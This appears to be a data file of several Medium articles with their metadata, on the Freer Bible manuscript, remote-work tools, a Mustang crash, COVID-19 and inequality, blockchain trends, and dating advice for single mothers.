Freer returned to Egypt to find out where the manuscript came from, but its origin remains unclear. All of his six manuscripts from the Bible went on display as ‘beautiful’ objects in the Peacock Room, the room decorated by Whistler, in green and gold, that was, to Freer’s temple, the Holy of Holies.
Freer monitored media discussion of his ‘Logion’. A curator at the Smithsonian later summarizes the newspaper file Freer had kept:
“The fact that it said that the reign of Satan was over seemed really potentially outrageous. People were in a tizzy over it.”
The Freer Logion comes just after the standard text of Mark 16:14. This passage was already a bit quirky. Different manuscripts end the gospel in a variety of ways. The version Freer had found has the ‘longer’ ending. Jesus in his resurrected form comes to his disciples, and “rebukes” them!
The women had told the disciples of Jesus’ return, and the disciples had disbelieved them.
Ordinarily, Jesus seems to let the matter drop, and instructs the disciples to go preach the gospel. But in the Freer Logion, the matter is hashed out. Why had they not believed the women?
The disciples “excused themselves”—that is, made an excuse for their failure by saying that Satan had blinded them.
The disciples then challenge Jesus—why didn’t he defeat the evil spirit, and make deceptions impossible?
Jesus’ response is typically complex:
“The term of years for Satan’s power has been fulfilled, but other terrible things draw near. And for those who have sinned I was delivered over to death, that they may return truth and sin no more; that they may inherit the spiritual and incorruptible glory of righteousness which is in heaven.”
Scholars of Christianity recalled that this scene had been alluded to by the fourth-century translator, Jerome. He’d seen it in some manuscripts, he reports, and quotes part of it. (The transcription of Jerome, in Christian history, had removed the ‘Satan’ part.)
Was it a sensitive matter? To say Satan’s power was ‘fulfilled’ might not be what a Christian cleric would like to hear. The religion was about the constant fear of demonic threats—from Satan to homosexuals?
But the Freer Logion was as shocking on many points. The presentation of the ‘Twelve’ is extremely negative. They had been expected to believe the women, and had not.
Were these men even followers? As Calogero A. Miceli notes:
“From the Freer Logion, it is clear that the apostles are not believers and that they are disgruntled with what has transpired thus far after Jesus’ death.”
This would not be welcome to traditional Christian readers. But in a close reading of Mark’s gospel, it’s not clear that such a conflict isn’t brewing. Jesus has chided them, over and over, for not grasping points.
As Leif E. Vaage notes, Jesus has “a growing sense of frustration at their unflagging failure to grasp what he embodies and displays before them.”
How much do the disciples ever really know Jesus? They mostly seem to misunderstand him, often while trying to elevate themselves. Many scenes in the gospels are essentially comic. Jesus does something unusual and unexpected, while the disciples are confused or horrified.
During his dark night in Gethsemane, they fall asleep. When he’s crucified, they flee—as the women stay.
Vaage thinks:
“By the end of the Gospel, the Twelve are effectively written out of the script of Christian beginnings, certainly as noteworthy disciples.”
In the tradition, however, the disciples are heroes, and models for the clerics of the faith.
A friend recalls visiting Freer in his last days
She writes later:
“Indelibly in my memory is impressed the figure in the twilight by the window, the wasted sufferer waiting for the call, the shadowy substance of the man we had loved and admired…”
He died in 1919, the papers report, “of a stroke of apoplexy.” His syphilis was noted on his death certificate, and in hints in personal papers—as examined a century later. His friends had kept up the fiction.
The Freer Gallery of Art opened in Washington D.C. in 1923, featuring some nine thousand objects, and the wish he’d left that “others will be served, well served, intelligently served by my slight efforts.”
His six Bible manuscripts, being fragile, were rarely displayed, and fell out of public consciousness. | https://historyofyesterday.com/in-1907-an-art-collector-found-a-bible-with-a-new-scene-of-jesus-2cdb9e48f13 | ['Jonathan Poletti'] | 2020-12-27 17:54:33.365000+00:00 | ['LGBTQ', 'Bible', 'Religion', 'History', 'Art'] |
Strategies to Prepare for the Future of Work | In the wake of social distancing and remote work, the way we work will be forever changed. The future is coming, and it is coming quickly. If you don’t yet feel ready, take a breath; you have time to prepare. Here are our top tips, strategies, and resources to prepare you for the future of work.
Learn the Tools
If you’ve been viewing remote work as a temporary inconvenience, you’re behind. As we move farther into the future, virtual work will continue to cement itself as not only a permanent fixture, but the very foundation that our work structures are built upon. Master the tools now before their use becomes sink-or-swim. Here are some recommendations to get you started; if you’re interested in a more exhaustive list of virtual tools to get to know, check out our article on The Best Tools & Practices for Remote Teams.
For Organization:
Google Workspace — It’s unlikely that you are completely unfamiliar with Google’s host of collaborative apps; you’ve likely at least dabbled in its plethora of offerings, including (but not limited to) Calendar, Docs, Sheets, and Drive. If you aren’t already, get into the habit of using Google Workspace — or a similar cloud-based drive — for everything. This will make sharing WIPs with your peers and team leaders easier in the future. No more email attachments that must be downloaded and then opened with a completely separate program, then redistributed after changes are made. Trello — Assigning tasks and responsibilities is incredibly easy with Trello. Work flows can be clearly organized and team members can be assigned and unassigned from task cards as they move along the process. Basecamp — If you need a project management tool for a team that deals with a lot of separate files per project or requires a lot of communication on each small piece of a project, Basecamp is a great option. It combines asynchronous communication with project management in one place.
For Communication:
Slack — If your team isn’t in the habit of performing a large percentage of their communication via Slack, change that. Email inboxes easily become a black hole where small but important tidbits get lost to the ether. Make sure your company’s Slack channel is clearly organized into specific threads (#marketing, #recruitment, #announcements etc.). Zoom — You’ve probably used Zoom, but how comfortable are you with its capabilities? Did you know that you can allow participants to freely move between breakout rooms? If you can’t stream like a superstar quite yet, there is more to learn about Zoom.
For Connection:
Teeoh — This virtual meeting space came to our attention during the recording of a recent episode of the Control the Room podcast. Video calls can get old for some teams; not everyone likes having to spend time primping for a Zoom call just to work the rest of the day in the privacy of their own home. Teeoh is a virtual world that allows your team members to create a virtual person to represent them in a 3-D meeting room. Houseparty — This is a great option for virtual happy hours, game nights, or other casual virtual socialization events. Team members can join from their phones — unchaining them from their desks or offices — and can easily drift from room to room to interact with different teammates in small group settings. Teleparty — If team movie nights are your organization’s cup of tea, Teleparty (formerly Netflix Party) is the Chrome Extension for you. Your team can watch TV or a movie together on Netflix, Disney+, Hulu, or HBO; Teleparty will sync the stream so that everyone is seeing the same thing at the same time.
Put Your People First
The installment of remote work as a permanent option for employees will drastically deepen the pool of applicants employers are able to consider. Companies will no longer be limited to talent within driving distance of their offices. This is good for employers because it increases the amount and diversity of talent that they have access to. On the other side of the coin, this is good for employees because it increases their options and allows them the freedom to be choosier about where they want to work. All that is to say — if your employees are not treated well, their power to go where they are will greatly increase. If you want to retain talent, putting your people first will be more vital than ever.
Flexibility in working hours and working location will be more than an incentive; they will be more or less expected outside of industries where this is impossible. After going on a year of mandatory work from home, workers have experienced the value of a more-or-less autonomous work schedule. Whether they have kids to take care of, appointments to attend, a household to manage, or just work best at a certain time of day, workers who are able to make decisions about how their day is best organized are less stressed, more productive, and more focused. Obviously there will be times when meetings or collaborations need to happen at a certain time, but be prepared to offer an appropriate amount of flexibility in your teams’ work schedule.
On the other hand, increased flexibility in work schedules can mean an even further-blurred work-life balance. Team members who are receiving work notifications and communications at all times of day are going to burn out — and fast. It will be crucial to establish protections for your team’s work-life balance. Forbes recently implemented mandatory monthly mental health days. Slack’s office policy is “work hard and go home,” discouraging employees from continuing to work after hours. Intuit offers five paid days off a year to volunteer in the community on top of a generous PTO policy. What can you do to protect your employees’ work-life balance?
Freelancers & Hybrid Thinkers
If your organization doesn’t already, prepare to work with freelancers and contractors. It is increasingly common for workers to seek employment in these ways to preserve their independence, especially after the pandemic disrupted the sense of security expected by traditional employment. This can be great news for your team. Freelancers can be extremely cost-efficient for your organization, and their skills and talents can be aligned perfectly with the needs of a specific project.
In addition to freelancers, hybrid employees will become an integral piece of the workforce; these workers combine talents and/or professional identities in unique ways, allowing them to offer capabilities and perspectives not usually seen in a single employee. The key to utilizing hybrid employees will be to give them opportunities to make use of their talents outside of the small box of their job title. This is a good lesson to apply to anyone at your organization, not just hybrid thinkers; learn your team members’ strengths and create opportunities for them to utilize them, even if they aren’t directly related to their job’s main responsibilities.
Frameworks for Virtual Meetings
If you still haven’t quite mastered the virtual meeting, it may be time to try a different approach entirely. Here are a couple of frameworks that we at Voltage Control find to be well-suited for virtual collaboration.
The Art of Hosting — this framework is great for virtual meetings because it is largely conversation-based. It harnesses room intelligence by fostering conversations that ask participants to directly face the challenges that they are working through. There is a variety of resources and training opportunities on the Art of Hosting website to get you started. Liberating Structures — unanimous participation is at the core of this framework. It works wonderfully for virtual meetings where participants are easily distracted due to its emphasis on inclusivity. The Liberating Structures website offers explanations on each of the 33 microstructures that make up this framework. Voltage Control has also been known to offer workshops on how to best adapt Liberating Structures for virtual meetings.
If you’re not someone who is comfortable with change, consider partnering with someone at your organization who is as you work through what your policies and procedures will look like in the future. Remember — change is an opportunity, not an obstacle. | https://medium.com/voltage-control/strategies-to-prepare-for-the-future-of-work-4ed56ac231f5 | ['Voltage Control'] | 2020-12-03 16:40:56.008000+00:00 | ['Future Of Work', 'Better Meetings', 'Tool', 'Facilitation'] |
Another Mustang, Another Power Pole | Hot on the heels of covering two street racing Mustangs resulting in one crashing into a power pole in Indianapolis, we have another video of a Mustang driver hot dogging it, only to plant the front end of his pony car into a power pole. Dangerous Mustangs are definitely back with a vengeance and they might be ensuring you don’t have air conditioning during the summer heat.
Compare this to a similar incident here.
We have no idea where this video was taken, but if we had to guess we’d say it was somewhere in Tennessee. A Mustang is ripping a nice rolling burnout on a public road, something we absolutely don’t suggest, when he loses control of the muscle car, swerves left, overcorrects, and veers right into the power pole. The onlookers shout in dismay as the pony’s hood crumples and the sound of crinkled plastic and metal resonates.
image credit: Facebook
Unlike in the Indianapolis incident, no sparks shoot from the power lines up top and the pole only leans a little. The fact this guy wasn’t going very fast while roasting his rear tires is probably why the damage to the local grid wasn’t as severe, although his car doesn’t look so good.
This guy’s buddies or whatever they are don’t seem too concerned about the driver or the car. Instead of rushing over, they stay where they are and say things like, “That happened,” and, “Please tell me you got that on video.” Then they uploaded the video to Facebook for all to see and mock the driver’s stupidity.
image credit: Facebook
As for this disturbing trend of Ford Mustangs hitting power poles, there are two competing theories we’re kicking around. One is this is some desperate attempt by enthusiasts to discourage people from buying the all-electric Mustang Mach-E. The other possibility is that Mustangs are magnetically attracted to wood power poles. Either way, this is just painful to watch.
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Facebook | https://medium.com/motorious/another-mustang-another-power-pole-2698bfd2e3c0 | ['Sam Maven'] | 2021-06-17 18:00:03.152000+00:00 | ['American', 'Muscle', 'News', 'Modern Classic'] |
COVID-19 and Inequality: How Do Pandemics Disproportionately Impact the Most Vulnerable Sectors of Our Population? | Written by Nikol Nikolova
Edited by Allison Chen, Yunshu Li, Isha Jain and Camila Arias
Photo by Jérémy Stenuit on Unsplash
This pandemic has undoubtedly been detrimental to people globally, but more specifically, it has disproportionately affected the most vulnerable parts of our population. Dismissing this fact would mean disregarding those who have been hit the hardest by the adverse results of this pandemic and brushing aside the social, economic, and political disparities that have put these specific groups at a grave disadvantage. However, there is a silver lining: the inequalities that COVID-19 has brought to light have the potential to convince governments around the world to work collectively towards establishing equality.
Black, Asian and Ethnic Minorities
Viruses do not discriminate, but our social system does. Recent statistics have confirmed that in the United Kingdom, Black, Asian, and other ethnic minorities have been disproportionately affected by the virus. Additionally, data from the Intensive Care National Audit and Research Centre (ICNARC) shows that a third of the COVID-19 patients who were admitted to critical care units in the UK are BAME,¹ even though this group makes up only 14.5% of the English population.² These groups of people also have lower survival rates in comparison to their counterparts.
To interpret these results, we must understand the racially-biased framework that underpins our society. BAME communities tend to come from poorer socioeconomic backgrounds as they face hardships due to systematic racism. These initial setbacks kickstart a succession of adversities that impact all aspects of their lives.
Therefore, many people from the BAME communities often work in jobs within the essential service sector, where they’re at a higher risk of being exposed to COVID-19. In a survey of 2,585 adults in Great Britain, more than a quarter of individuals from the BAME group classified themselves as key workers* in comparison to the only 23% of white British people from the same survey.³
Historically, BAME groups have also had to endure inadequate healthcare as a result of racial bias. Similar to the ICNARC study, Public Health England published a review where it was revealed that the death rate from COVID-19 is 4.3 times higher in individuals of Black African origin compared to those of white British ethnicity.⁴ The review cites historic racism as one of the causes of these staggering finds. In the context of seeking medical help, Black individuals have been repeatedly neglected by being admitted to care later than their white counterparts. Consequently, the Black population has developed a stigma against the healthcare system that has failed them time and time again.
Seeing how our health services are rigged to be racist, governments must undertake collective action to remodel the discriminatory healthcare system so that everyone can have equal access to the medical attention that they need.
*Individuals who provide an essential service, such as health and social care, national security, and production of food and essential goods.
The East Asian Community
Panic began after the first wave of news broadcasted that COVID-19 had started to spread outside of China. Suddenly, prejudiced individuals distanced themselves from East Asian people and thousands of reports of attacks on Asian people began to surface. Even certain political figures began to refer to COVID-19 as the “Chinese virus.”
One story that encapsulates the abhorrence and xenophobia directed towards East Asians is that of a man named Abraham Choi, who was in a Penn Station on the 13th of March when a man behind him began to cough and spit on him, whilst spewing hate speech.
“All of you should die, and all of you have the Chinese virus.”⁵
In the aftermath of the incident, Choi reported the hate crime in hopes of receiving assistance from the police. Instead of help, he was met with complete apathy as the policeman told Choi that spitting wasn’t a crime by law and that reporting the perpetrator was not worth the paperwork. Just like Choi’s experience, many of these episodes of hate are neglected by the justice system, making discrimination against the East Asian community even more problematic, threatening, and normalized.
One must understand that this virus, like all others, does not belong to a particular race, ethnicity, gender, or nationality; this pandemic is a worldwide crisis that needs to be tackled without scapegoating individuals and projecting hate.
Refugees
During this pandemic, political leaders have used the health crisis as a means of justifying anti-migrant ideologies. But with or without COVID-19, conflict in areas of political unrest has persisted, which can have dire consequences for the individuals living there. Hence, the integration and support for all refugees and migrants shouldn’t be impeded. Migrants and refugees are forced to choose between leaving their home during the pandemic or staying in a country where their life is at risk every day.
Over the last decade, the number of people displaced by war and violence has doubled to reach 80 million.⁶ At the same time, with the pandemic hitting hard at global economies, resources available to humanitarian organizations have become scarce. This means that millions of refugees are at risk of not having access to essential humanitarian assistance.
The UN High Commissioner for Refugees, Filippo Grandi, revealed that in Lebanon, 7 out of 10 refugee households are on the brink of survival due to extreme poverty and hunger. Many refugees rely heavily on the distribution of resources to survive, thus, the lack of government support in such countries can have devastating consequences. The same situation is found in refugee camps, which are often overcrowded with an undersupply of vital funds.
Governments need to make it one of their utmost priorities to support these vulnerable communities globally, ensuring refugee camps have access to essential resources, including nutritious food and sanitizing products, as well as adequate personal protective equipment, such as masks.
Immigrants
The economic support which some governments have provided throughout this pandemic has reached many citizens, but what about those that the system considers “illegal”?
Many immigrants don’t have the option to work safely from home as they are employed in jobs that require them to be on site. Not only do they have zero official protection from the law, but they also live in constant fear of being deported. Simply put, they have no safety net to fall back on.
Karla Estrada, an immigrant from Mexico who makes masks for frontline workers, was enduring this anxiety during the pandemic for a long time until she finally had her application for permanent residency accepted.⁷ However, this was a long and grueling process that continues to trouble many others.
This documentation is essential due to the fact that being branded as “undocumented” means many immigrants often don’t have access to insurance, proper healthcare, and an array of other government-provided facilities. Furthermore, reports have surfaced of immigrants hesitating to seek medical attention during the pandemic out of fear of being deported. And how could they not? It’s impossible to trust a system that was never created to protect you in the first place.
Key organizations have put together resources to help immigrants during the COVID-19 crisis through information packs on medical, housing, and legal advice, in an array of languages. Here are a few of their links:
This website provides updated information on COVID-19 in various languages, intending to reduce the linguistic barrier that may arise for immigrants: https://covid19healthliteracyproject.com/
A page targeted at non-UK nationals aimed at providing language resources and giving details on rights and access to government-provided infrastructure: https://www.london.gov.uk/what-we-do/european-londoners-hub/information-coronavirus-covid-19-non-uk-nationals
A page for US immigrants created to provide healthcare, legal, and work advice: https://iamerica.org/covid-19-resources-immigrants
The Homeless
Picture this: overcrowded shelters with scarce nutritional and medical resources, low standards of hygiene, and a lack of masks and hand sanitizers. In essence, a COVID-19 outbreak hotspot waiting to erupt.
Studies have estimated a 0.3% to 1.9% potential COVID-19 fatality rate among people experiencing homelessness in the US, the equivalent of 3,454 deaths.⁸ The high numbers are also due to people experiencing homelessness being more susceptible to other infections, which are known to be risk factors for COVID-19.⁹
The abrupt closures of shelters and other crucial services mean that these individuals are consistently at a higher chance of being infected. Therefore, governments must reassess their preventative measures as many of the protocols put in place are near impossible to follow by homeless people. Isolation, avoiding crowded places, and regularly wearing masks is not an option for many. It’s critical to keep services for these groups open and concurrently restructure how they function. Rearranging dorms to abide by the physical distancing rules and ensuring all spaces are kept sanitary with no shortage of masks are all promising steps to take.
Various organizations have taken it upon themselves to provide helpful resources for the global population to educate themselves in support of the homeless community:
Shelter offers an overview of all measures and protocols relevant to the issue of homelessness with regularly updated housing advice and contact information for help: https://england.shelter.org.uk/legal/housing_options/covid-19_emergency_measures/homelessness
Homeless Link is working to support the homelessness sector by providing information on the latest key developments surrounding COVID-19 — a critical step in allowing this sector to adapt to the fast-changing social climate: https://www.homeless.org.uk/covid19-homelessness
Domestic Abuse
When lockdown was announced, staying home for work and taking classes in bed seemed idyllic. Nonetheless, being home is paradoxically not the safest place for millions of individuals, the majority of whom are either women, children or LGBTQ+. For these groups, going outside daily is their refuge from mental and physical abuse back at home. So, while lockdown remains an essential part of our fight against this pandemic, it is a severe threat for these individuals.
In a report published by the United Nations (UN), the Department of Global Communications cites that helplines in Singapore and Cyprus have detected more than a 30% increase in calls and in France, the cases of domestic violence increased by 30% since the beginning of the lockdown. Meanwhile, during the first three weeks of lockdown in the United Kingdom, 14 women and two children have been killed.¹⁰ Since we’re not aware of the accurate degree of the problem, the actual number of victims is likely to be higher since many individuals are not able to contact the authorities.
Children also remain exceptionally susceptible to domestic violence since they’re able to be isolated more easily. As a result, a high percentage of them can be exposed to physical and mental abuse, gender-based violence, and sexual exploitation.
Additionally, the newfound dependency on technology at home has led to an increase in cyberbullying, grooming, and the creation and distribution of child pornography. The European Commission released a statement confirming that in some EU Member states, the demand for child sexual abuse materials has increased by up to 30% during lockdown.¹¹
Therefore, with the closing of schools, some children will be forced to look for work on the streets, increasing the probability of them being abused and sexually exploited for trafficking, child labor and child marriage.
LGBTQ+ Community
A topic initially neglected in the media is the impact of COVID-19 on the LGBTQ+ community. Nevertheless, it is vital to recognize that pre-existing discrimination against these individuals already establishes barriers for them to gain access to essential services.
A survey by the Centre for American Progress conducted in 2017 revealed that among lesbian, gay, bisexual, and queer (LGBQ) participants who had visited a health care provider in the year 2016, 8% said that the provider refused to see them due to their sexual orientation. Similarly, among transgender people who had visited a health care provider in the past year, an astonishing 29% revealed that the doctor refused to see them due to their gender identity.¹² This discriminatory climate discourages LGBTQ+ people from seeking services from a system that repeatedly turns them down. However, finding healthcare elsewhere is difficult due to the shortage of physical and emotional support during lockdown.
More recently, the LGBTQ+ community has fallen victim to cases of abuse at home and in public. A United Nations report suggests an increase in homophobic and transphobic rhetoric across multiple countries.¹³ For example, in Panama, the lockdown measures have dictated for men and women to go out on separate days. These measures entailed that services could be denied to transgender people simply because of conservative, ignorant views about gender. This was seen in the case of Mónica, who was denied access to a supermarket when she went out for groceries on a day that was designated for women.¹⁴
As many transgender people have a different gender assigned at birth on their identity documents, they have no option to defend themselves and have to rely on expensive courier services for basic supplies. Many also don’t have supportive networks from family and thus, cannot depend on having emotional assistance either.
In the case of intersectional identities within the Black LGBTQ+ community, a 2015 US Transgender Survey revealed that Black transgender people are facing the most severe economic and housing disparities. Key findings to support this included that 38% of Black participants were living in poverty, which is more than three times the rate of people in the general US population. Likewise, 42% had experienced homelessness at some point in their life in comparison to 30% of the people in the overall sample.¹⁵ These statistics reveal the astounding economic and housing barriers that Black LGBTQ+ individuals endure.
In more recent times, the deaths of two Black trans women, Riah Milton in Ohio and Dominique “Rem’Mie” Fells in Pennsylvania echo the fact that transgender women of color are especially threatened since they face severe marginalization due to racism, sexism, and transphobia.¹⁶
Novel Resources to Keep in Mind:
The Silent Solution: With abusers going through their victim’s phone to track their calls, contacting help is not as easy as it sounds. The Silent Solution has been launched in order to make contact with authorities as easy as possible during the lockdown.
The most important thing to remember is to reach out to people and stay connected if you feel that a child (or anyone else) may be suffering from physical or mental abuse at home. The American Academy of Paediatrics has shared valuable information on how to spot child abuse and how you can support families and children during this time.
The Trevor Project supports the Black LGBTQ community through various resources aimed at tackling mental health issues and offering mental health support. They also have a helpline number, a confidential online instant messaging and a text messaging service.
Mental Health
Amid a pandemic that primarily concerns our physical health, we were all quick to neglect the importance of maintaining our mental health. With schools being closed and healthcare services becoming scarce in many locations, there is a critical shortage of support systems for those who have pre-existing mental health conditions and those who are more susceptible to developing them.
Mental health has always been one of our biggest global challenges. Studies reveal that depression affects 264 million people globally, and suicide has become the leading cause of death in people age 15–29.¹⁷ Recent statistics have researched the impact of the pandemic by analyzing the percentage of US adults showing symptoms of anxiety and/or depression. Pre-COVID-19, the percentage of the population with an anxiety disorder was 8.2% compared to 28.2% amid the pandemic.
Essentially, individuals who were able to cope pre-COVID-19 due to having access to the necessary support networks are now left to manage in isolation and unfortunately may resort to alternative treatments, such as consuming increased amounts of alcohol and drugs. In Canada, a report revealed that 21% of people between the age of 18–34 have increased their alcohol consumption during the pandemic.¹⁸ This can make their mental and physical recovery after the pandemic even more challenging.
Ultimately, keeping our mental health in check is essential in our fight against this pandemic and to the recovery of the world post-COVID-19. With the increasing demand for mental health resources, governments need to ensure that there is a sufficient amount of remote and free networks to support these groups. Here are two key resources: | https://medium.com/@fightpandemics/covid-19-and-inequality-how-do-pandemics-disproportionately-impact-the-most-vulnerable-sectors-of-1d4ac884827 | [] | 2020-12-18 15:09:37.679000+00:00 | ['Society Politics', 'Coronavirus', 'Inequality', 'Public Health', 'Pandemic'] |
Top 10 Blockchain Trends of 2021 | The blockchain is thought to be a technology that is the counter-part or better-half for the cryptocurrencies, it is certainly true, but what people are big-time missing on is it is a backbone for several other modern services. To proceed further, let us understand first what blockchain technology is.
What is Blockchain?
It is a transparent database that stores data in the form of blocks. Each blockchain has a hash id, directly derived from the data inside the block, and the previous block’s hash. Thus the tampering in the data through hacking will modify the hash and the chain of blocks will fall down as the next block’s previous hash id does not get changed.
Although this technology has gained the momentum predicted for it, but it has certainly created regional markets for it in Israel, China, Korea, and the Pacific region. Let us have a deep look at the developing trends in this field throughout 2020;
The hype over Practical Starts
2019 left us on the corner where there was much hype about blockchain technology, but no one was really ready to implement the technology and get the best out of it. With the wake of 2020 on the horizon, many implementations and practical manifestations of the technology has been seen in the plethora of industries. These industries range from the agriculture, insurance sector to the government agencies and bodies.
Now the overarching questions like “Will the technology work for us?” and “How can we make technology work for us?” have stopped threatening the proponents of the technology. The world has to start reaping the benefits of beneficial technology.
Identification of Piracy and Misleading Information
The identification of the piracy i.e. repeated identical information in the ledgers is very simple as every transaction by all of the stakeholders is completely transparent. So, the users can identify the repeated records in less than a second. Moreover, these transparent databases have very limited users with the authority to write the database.
The structure of the block-chain does not allow the tampering of the data. But if any adept hacker makes it to successful tampering of the data (whose proximity is nearly impossible), the recording of the same transaction in the ledgers of all of the stakeholders immediately helps in recognizing the misleading information.
People think that block-chain is rendering successful services only in the financial sector, so piracy and misleading information can be eliminated only in that field. This is not fully true, as the blockchain services are not limited only to the financial sector as it is rendering services in every arena of life including international politics, supply chain management, and social media interactions.
Governmental Bodies Using Blockchain
The Korean peninsula, Vietnam, and China have decided to take the technology one step upward by inducing it into the government machinery and making it the most crucial element in worldwide digitization. Even countries like Thailand and Vietnam are using it for digital contracts keeping in mind the massive storage space of the blockchain technology to store the documents and massive amounts of information with no risks associated with being pirated, tampered and hacked.
It is predicted by many IT gurus that the process of online voting can become trustworthy, speedy, and transparent. There is no other solution than blockchain development to make online voting a fair process.
Emerging Platforms
The new platforms have emerged for exceptional blockchain development. During 2019, the platforms were in their probation period or the naïve period when they had no much prior experience of meeting the user expectations and resolving these problems. The prominent names of these platforms are Ethereum, Hyperledger, Hedera graph, Ripple, and Quorum, etc.
The 2019’s blockchain development platforms were enabled to give the core features only, the enhanced features can be developed and craved using the new versions of the aforementioned platforms.
Increased Adoption Rate
A plethora of industries has adopted the use of blockchain technology. This adoption has also diversified the reasons for which these technologies are being used. The adoption of this technology in the medical and health sciences has made the best influence on his history. The data transparency, speed of access, immutability, traceability, and trustworthiness can provide the information necessary for life-altering decisions. The pharmaceutical supply chains have been at the center of much experimentation in the past 12 months. Another important area of interest, confirmed also by the World Economic Forum and World Bank, is the digitizing of the health records to give rise to self-sovereign identification.
The highest share has been contributed by the sector ‘Technology, Media and Telecommunication’ with the percentage 49% of the total share and the lowest share has been contributed by the ‘Retail, Wholesale, and Distribution’ with the percentage 21% of the total share.
Block-chain Consortia
The blockchain developers have started consuming their energies in the streamlined direction to form blockchain consortia or the ecosystem. For this to achieve, collaboration with the third parties is pertinent. Some of the major features of the blockchain consortia are Goals of Collaboration, Responsibilities of Involved Parties, Contribution, Intellectual Property, Technology Consideration, Confidentiality Agreement, and Legal Entity, etc.
Rise of Tokens
In simple words, the token is the encrypted string of data that does not contain the data without actually pointing to the data ostensibly. The tokens are reported to be the new “digital assets”. The digital asset is anything to have possessed the intrinsic value.
Examples of digital assets include land, goods, certificates, identity, works of art and literature, rewards, and even currency, among many others. Still, there are many industries in which the digital tokens are not being used, reserving the billions of euros as the illiquid able reserves.
Increased Legislation
40 bills have been passed by the American congress regarding the block chain development in the area of crypto and blockchain development. India, Thailand, China, and Korea have also done it rigorously. This is a subtle development towards legitimizing blockchain development.
No Market Disruption
The trilemma of blockchain development service revolves around decentralization, security, and scalability. Systems failure often causes issues with the functioning of an entire market. A single breakdown can lead to a chain reaction taking down all the other systems with it. With the use of blockchain technology, this damage can be limited to that particular system and prevent it from spreading and causing a disruption. Since decentralized blockchains do not require a central authority, and multiple users must verify each transaction, there is minimal chance of complete and extensive failure. | https://medium.com/@kryptomind/top-10-blockchain-trends-of-2021-cfd66b1c635e | [] | 2020-12-24 05:50:55.906000+00:00 | ['Blockchain', 'Blockchain Technology', 'Bitcoin', 'Blockchain Startup'] |
The Dating Game: Mistakes Every Single Mom Should Avoid | Whether you got divorced or were widowed, becoming a single parent often means dating again after having been in a long-term relationship. And while it might not seem like it would be that difficult to do something you’ve done before, dating after parenthood is a different situation than dating before kids.
There are some very common mistakes that single moms make when it comes to dating. These mistakes can make your dating life anything from mildly unpleasant to downright miserable. But if you know what to look for, you can avoid making these mistakes and have a much better dating life — and a better chance at finding what you really want.
Feeling guilty about dating
Time with your kids is already limited so it’s not fair to take more time from them to go on dates. The kids aren’t ready for you to date again yet. They need you too much for you to give your attention to a date. There are lots of reasons you can give yourself that can make you feel guilty about dating.
In the end, it doesn’t matter. Dating isn’t about your kids. It’s about you.
Consider that your guilt is not actually guilt about dating but an excuse because you aren’t ready to date again yet — and that’s okay. But if you know you’re ready to date, ditch the guilt. You and your dates deserve for you to be fully present on your dates and that only happens if you’re not feeling guilty about being there.
Dating too soon
There’s no hard and fast line before which it’s too soon to date. But we can all agree that you need to take some time to heal. This time might be weeks or it might be months or even years.
Sometimes you won’t even know it’s too soon until you go on that first date and realize that you’re just not ready yet. If that happens, it’s okay. It’s a problem if you acknowledge that realization and try to keep dating anyway.
Be honest with yourself. If you’re not ready, you’re not ready. Dating too soon isn’t going to help you heal faster, find love sooner, or get any other good results. It’s just going to end in disaster.
Photo by Gemma Evans on Unsplash
Getting exclusive too quickly
The thing about being a single parent is that typically, you ended up here because a long-term relationship ended. So you’re used to the family dynamic. The couple dynamic. And it’s something so familiar that you might want it back right now.
But getting exclusive with someone too quickly can mean you have to break up with someone who is totally great but just not right for you — or you’re not ready for yet. It can also mean getting your kids involved too soon.
Take your time. Get to know the people you’re dating. Make sure you know what you want in a partner and a relationship. And know that when the right person comes along, you won’t need to lock them down instantly.
Introducing the kids too soon
It might happen because you went exclusive too soon. Or it might be because you run into a date at the grocery store or a school function. Whatever it is, you introduce your kids way too soon.
This can lead to so many problems. Kids who are upset you’re dating, jealous you’re spending time with someone else, or worried about a new person in their life. Kids who get attached to someone who ultimately disappears soon because you and your date just weren’t a good match. A date who turns and walks away because even though they knew you were a single parent, the reality was more than they wanted to deal with.
Just as you should take your time before getting exclusive, take your time introducing someone to your kids. Remember that dating exclusively doesn’t have to mean they meet your kids. You can wait a few more weeks or even months. You might not want to wait until you’re planning to get married or live together but allowing a little more time to pass isn’t a bad thing.
Having sex too soon
The caveat to this is that if all you’re looking for is a sexual relationship, then there might not be such a thing as too soon. But if you’re looking for something more than just sex, the feelings that come with sex are all too easy to confuse with love and emotional connection.
If you want more than a physical relationship, hold off on sex until you feel ready. Don’t let a date pressure you but don’t pressure yourself either. Take the time to build the connection and see what else there is between you before you take that step.
Giving single dads a free pass
Ah, the single dad. Somehow they seem a little more attractive than the average guy just for being a dad. But this can sometimes lead to giving them a free pass that they don’t really deserve.
Being a single dad doesn’t automatically mean he’s a great guy. He can still be a jerk and raise kids. He can use his single dad status to convince women he’s a great guy and get them to date him. Evaluate single dads as you would any other guy you date — if there are red flags, dump him.
Of course, don’t rule single dads out as a whole either. Dating another single parent can be great because they understand the same challenges you face.
Lowering your expectations
Many single moms somehow get the message that being a single mom means they’re damaged goods. Less worthy of love. Less deserving of a relationship. And this can lead you to lower your expectations.
But you aren’t damaged goods. You deserve love and a relationship as much as anyone else and you shouldn’t settle for someone who isn’t up to standard. Be realistic in your expectations but do not lower them.
If you feel like you struggle with setting realistic expectations, work with a coach or therapist to figure out why and set some. But in general, whatever you expected pre-kids, you should continue to expect now.
Photo by Maria Lysenko on Unsplash
Expecting the kids to be totally accepting
If you think your kids are going to be pushing you out the door to go on a date and immediately accept a new partner and call them Mom or Dad, you will be seriously disappointed. While some kids are more accepting than others, most kids struggle a bit when their parent starts dating again after divorce or the death of the other parent.
Realize that your kids do want you to be happy but they are kids. They’re struggling to accept that the family they once had is over. In the case of divorce, they might still be hoping you’ll get back together. Whatever they’re thinking, they’re not trying to stop you from being happy but they do need time to adjust.
Be patient and allow them to come to terms with you dating, or even getting into a new relationship, in their own time. Don’t try to force it or rush it. Not only will it not work but it will likely damage your relationship with them.
Looking for someone to save you
Becoming a single parent is a huge adjustment. Lower income, smaller home, and mistakes you’ve made along the way. And in some cases, life as a single parent can really feel awful. It can be really easy to start fantasizing about a Prince Charming who will save you from the discomfort.
When you do this, though, you don’t date someone because you actually like them and enjoy being with them. You date them because you see them as a savior, a way out of whatever misery you’re dealing with. And not only is that not fair to them but it sets you up to be trapped in an unhappy relationship because you think it’s better than the alternative.
The hard truth is you need to save yourself. It’s up to you to right your own wrongs and be the hero(ine) who makes things better. And there may be big challenges to overcome in order to do that, but you won’t overcome them by dating someone solely so they can save you.
